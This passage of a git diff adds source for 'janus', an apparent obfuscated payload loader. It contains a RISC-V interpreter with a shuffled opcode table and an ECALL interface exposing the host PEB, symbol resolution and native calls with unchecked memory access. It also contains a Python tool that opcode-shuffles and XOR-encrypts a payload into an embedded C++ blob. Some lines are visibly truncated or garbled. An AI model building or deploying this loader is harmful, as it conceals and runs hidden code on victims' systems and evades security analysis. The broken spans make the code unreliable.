seed) { + std::array p{}; + for (int i = 0; i < 32; i++) p[i] = (uint8_t)i; + for (int i = 31; i > 0; i--) { + seed = seed * 1664525u + 1013904223u; + int j = (int)((seed >> 17) % (uint32_t)(i + 1)); + uint8_t t = p[i]; p[i] = p[j]; p[j] = t; + } + return p; +} + +static HandlerFn g_dispatch[32]; + +static void init_dispatch() { + for (auto& h : g_dispatch) h = handle_illegal; + + constexpr auto perm = gen_perm(JANUS_OPCODE_SEED); + // perm[real_opcode] = slot in g_dispatch that the payload will use + g_dispatch[perm[0x00]] = handle_load; + g_dispatch[perm[0x03]] = handle_misc_mem; + g_dispatch[perm[0x04]] = handle_op_imm; + g_dispatch[perm[0x05]] = handle_auipc; + g_dispatch[perm[0x06]] = handle_op_imm32; + g_dispatch[perm[0x08]] = handle_store; + g_dispatch[perm[0x0C]] = handle_op; + g_dispatch[perm[0x0D]] = handle_lui; + g_dispatch[perm[0x0E]] = handle_op32; + g_dispatch[perm[0x18]] = handle_branch; + g_dispatch[perm[0x19]] = handle_jalr; + g_dispatch[perm[0x1B]] = handle_jal; + g_dispatch[perm[0x1C]] = handle_system; +} + +void riscvm_init(RiscVm* vm, uint8_t* mem, size_t mem_sz, SyscallTable* sc) { + memset(vm, 0, sizeof(*vm)); + vm->mem_base = mem; + vm->mem_size = mem_sz; + vm->syscalls = sc; + // pc and sp set by caller (loader) after choosing entry point +} + +void riscvm_run(RiscVm* vm) { + static bool initialised = false; + if (!initialised) { init_dispatch(); initialised = true; } + + while (!vm->halted) { + uint32_t instr = rv_fetch(vm); + g_dispatch[(instr >> 2) & 0x1F](vm, instr); + } +} diff --git a/src/vm/mem.cpp b/src/vm/mem.cpp new file mode 100644 index 0000000..21ac156 --- /dev/null +++ b/src/vm/mem.cpp @@ -0,0 +1,42 @@ +#include "janus/vm.hpp" +#include "janus/decode.hpp" +#include + +// Shared address space: guest pointers are valid host pointers — no translation needed. + + +void handle_load(RiscVm* vm, uint32_t i) { + int rd = rv_rd(i), rs1 = rv_rs1(i), f3 = rv_f3(i); + uint8_t* addr = reinterpret_cast((uintptr_t)(vm->regs[rs1] + rv_imm_i(i))); + int64_t res = 0; + + switch (f3) { + case 0: { int8_t v; memcpy(&v, addr, 1); res = v; break; } // LB + case 1: { int16_t v; memcpy(&v, addr, 2); res = v; break; } // LH + case 2: { int32_t v; memcpy(&v, addr, 4); res = v; break; } // LW + case 3: { int64_t v; memcpy(&v, addr, 8); res = v; break; } // LD + case 4: { uint8_t v; memcpy(&v, addr, 1); res = (int64_t)v; break; } // LBU + case 5: { uint16_t v; memcpy(&v, addr, 2); res = (int64_t)v; break; } // LHU + case 6: { uint32_t v; memcpy(&v, addr, 4); res = (int64_t)v; break; } // LWU + } + rv_wreg(vm, rd, res); + rv_adv(vm); +} + + +void handle_store(RiscVm* vm, uint32_t i) { + int rs1 = rv_rs1(i), rs2 = rv_rs2(i), f3 = rv_f3(i); + uint8_t* addr = reinterpret_cast((uintptr_t)(vm->regs[rs1] + rv_imm_s(i))); + uint64_t src = (uint64_t)vm->regs[rs2]; + + switch (f3) { + case 0: memcpy(addr, &src, 1); break; // SB + case 1: memcpy(addr, &src, 2); break; // SH + case 2: memcpy(addr, &src, 4); break; // SW + case 3: memcpy(addr, &src, 8); break; // SD + } + rv_adv(vm); +} + + +void handle_misc_mem(RiscVm* vm, uint32_t) { rv_adv(vm); } diff --git a/src/vm/system.cpp b/src/vm/system.cpp new file mode 100644 index 0000000..dc643ac --- /dev/null +++ b/src/vm/system.cpp @@ -0,0 +1,55 @@ +#include "janus/vm.hpp" +#include "janus/decode.hpp" + +// ── SYSTEM (0x73): ECALL / EBREAK ──────────────────────────────────────────── +// +// ECALL convention: +// a7 = JanusEcall number +// a0 = arg0 / return value +// a1 = arg1 +// a2 = arg2 +// +// EBREAK halts the VM (used by payload to signal completion). + +void handle_system(RiscVm* vm, uint32_t i) { + int f3 = rv_f3(i); + int imm = (int)(i >> 20) & 0xFFF; + + // CSR instructions (funct3 != 0) — treat as NOP + if (f3 != 0) { rv_adv(vm); return; } + + if (imm == 1) { // EBREAK + vm->halted = true; + return; + } + + // ECALL + rv_adv(vm); // advance before dispatch so return address is correct + auto& r = vm->regs; + switch ((JanusEcall)r[RV_A7]) { + case ECALL_GET_PEB: + r[RV_A0] = (int64_t)(uintptr_t)vm->syscalls->get_peb(); + break; + case ECALL_HOST_CALL: { + void* fn = (void*)(uintptr_t)r[RV_A0]; + uintptr_t* args = (uintptr_t*)(uintptr_t)r[RV_A1]; + int argc = (int)r[RV_A2]; + r[RV_A0] = (int64_t)vm->syscalls->host_call(fn, args, argc); + break; + } + case ECALL_RESOLVE: { + const char* mod = (const char*)(uintptr_t)r[RV_A0]; + const char* sym = (const char*)(uintptr_t)r[RV_A1]; + r[RV_A0] = (int64_t)(uintptr_t)vm->syscalls->resolve(mod, sym); + break; + } + case ECALL_EXIT: + vm->syscalls->exit_fn((int)r[RV_A0]); + vm->halted = true; + break; + default: + // Unknown syscall — silently ignore, return 0 + r[RV_A0] = 0; + break; + } +} diff --git a/tools/embed_payload.py b/tools/embed_payload.py new file mode 100644 index 0000000..0c36405 --- /dev/null +++ b/tools/embed_payload.py @@ -0,0 +1,125 @@ +#!/usr/bin/env python3 +""" +embed_payload.py + +Reads a RISC-V ELF payload, applies the opcode shuffle (driven by +JANUS_OPCODE_SEED from config.hpp), XOR-encrypts, and emits a C++ source file +with the encrypted blob and relocation table for the loader. + +Requires: pyelftools (pip install pyelftools) +""" + +import sys +import struct +import re +from elftools.elf.elffile import ELFFile +from elftools.elf.relocation import RelocationSection + +# Must stay in sync with include/janus/config.hpp +OPCODE_SEED = 0xDEADBEEF +XOR_KEY = 0x4A +XOR_MIX = 0x67 + +def gen_perm(seed: int) -> list[int]: + """Fisher-Yates with LCG — must match gen_perm() in src/vm/core.cpp.""" + p = list(range(32)) + for i in range(31, 0, -1): + seed = (seed * 1664525 + 1013904223) & 0xFFFFFFFF + j = (seed >> 17) % (i + 1) + p[i], p[j] = p[j], p[i] + return p + +def xor_crypt(data: bytearray) -> bytearray: + return bytearray(b ^ (XOR_KEY ^ ((i * XOR_MIX) & 0xFF)) for i, b in enumerate(data)) + +def shuffle_opcodes(data: bytearray, text_start: int, text_size: int, perm: list[int]) -> None: + """Apply opcode permutation to every 32-bit RISC-V instruction in .text.""" + for off in range(text_start, text_start + text_size, 4): + if off + 4 > len(data): + break + word = struct.unpack_from('> 2) & 0x1F + shuf_op = perm[real_op] + word = (word & ~(0x1F << 2)) | (shuf_op << 2) + struct.pack_into(' ", file=sys.stderr) + sys.exit(1) + + elf_path, out_path = sys.argv[1], sys.argv[2] + perm = gen_perm(OPCODE_SEED) + + with open(elf_path, 'rb') as f: + elf = ELFFile(f) + + # Collect load segments into a flat image starting at virtual address 0 + load_segs = sorted( + [s for s in elf.iter_segments() if s.header.p_type == 'PT_LOAD'], + key=lambda s: s.header.p_vaddr + ) + if not load_segs: + print("No PT_LOAD segments", file=sys.stderr) + sys.exit(1) + + img_end = max(s.header.p_vaddr + s.header.p_memsz for s in load_segs) + image = bytearray(img_end) + + for seg in load_segs: + vaddr = seg.header.p_vaddr + data = seg.data() + image[vaddr:vaddr + len(data)] = data + + # Find .text section bounds for opcode shuffle + text_start = text_size = 0 + sec = elf.get_section_by_name('.text') + if sec: + text_start = sec.header.sh_addr + text_size = sec.header.sh_size + + # Collect R_RISCV_64 / R_RISCV_RELATIVE relocations + reloc_offsets: list[int] = [] + for section in elf.iter_sections(): + if not isinstance(section, RelocationSection): + continue + sym_table = elf.get_section(section.header.sh_link) + for reloc in section.iter_relocations(): + rtype = reloc.entry.r_info_type + # R_RISCV_64 = 2, R_RISCV_RELATIVE = 3 + if rtype in (2, 3): + reloc_offsets.append(reloc.entry.r_offset) + + # Entry point + entry_offset = elf.header.e_entry + + # Apply shuffle then encrypt + shuffle_opcodes(image, text_start, text_size, perm) + encrypted = xor_crypt(image) + + # Emit C++ blob + hex_bytes = ', '.join(f'0x{b:02X}' for b in encrypted) + reloc_vals = ', '.join(str(o) for o in reloc_offsets) if reloc_offsets else '0' + reloc_cnt = len(reloc_offsets) + + cpp = f"""\ +// AUTO-GENERATED by tools/embed_payload.py — do not edit by hand. +#include +#include + +extern const uint8_t kPayload[] = {{ {hex_bytes} }}; +extern const size_t kPayloadSize = {len(encrypted)}; +extern const uint64_t kEntryOffset = {entry_offset}ULL; +extern const uint64_t kRelocOffsets[] = {{ {reloc_vals} }}; +extern const size_t kRelocCount = {reloc_cnt}; +""" + + with open(out_path, 'w') as f: + f.write(cpp) + + print(f"[janus] payload {len(encrypted)} bytes, {reloc_cnt} relocs → {out_path}") + +if __name__ == '__main__': + main()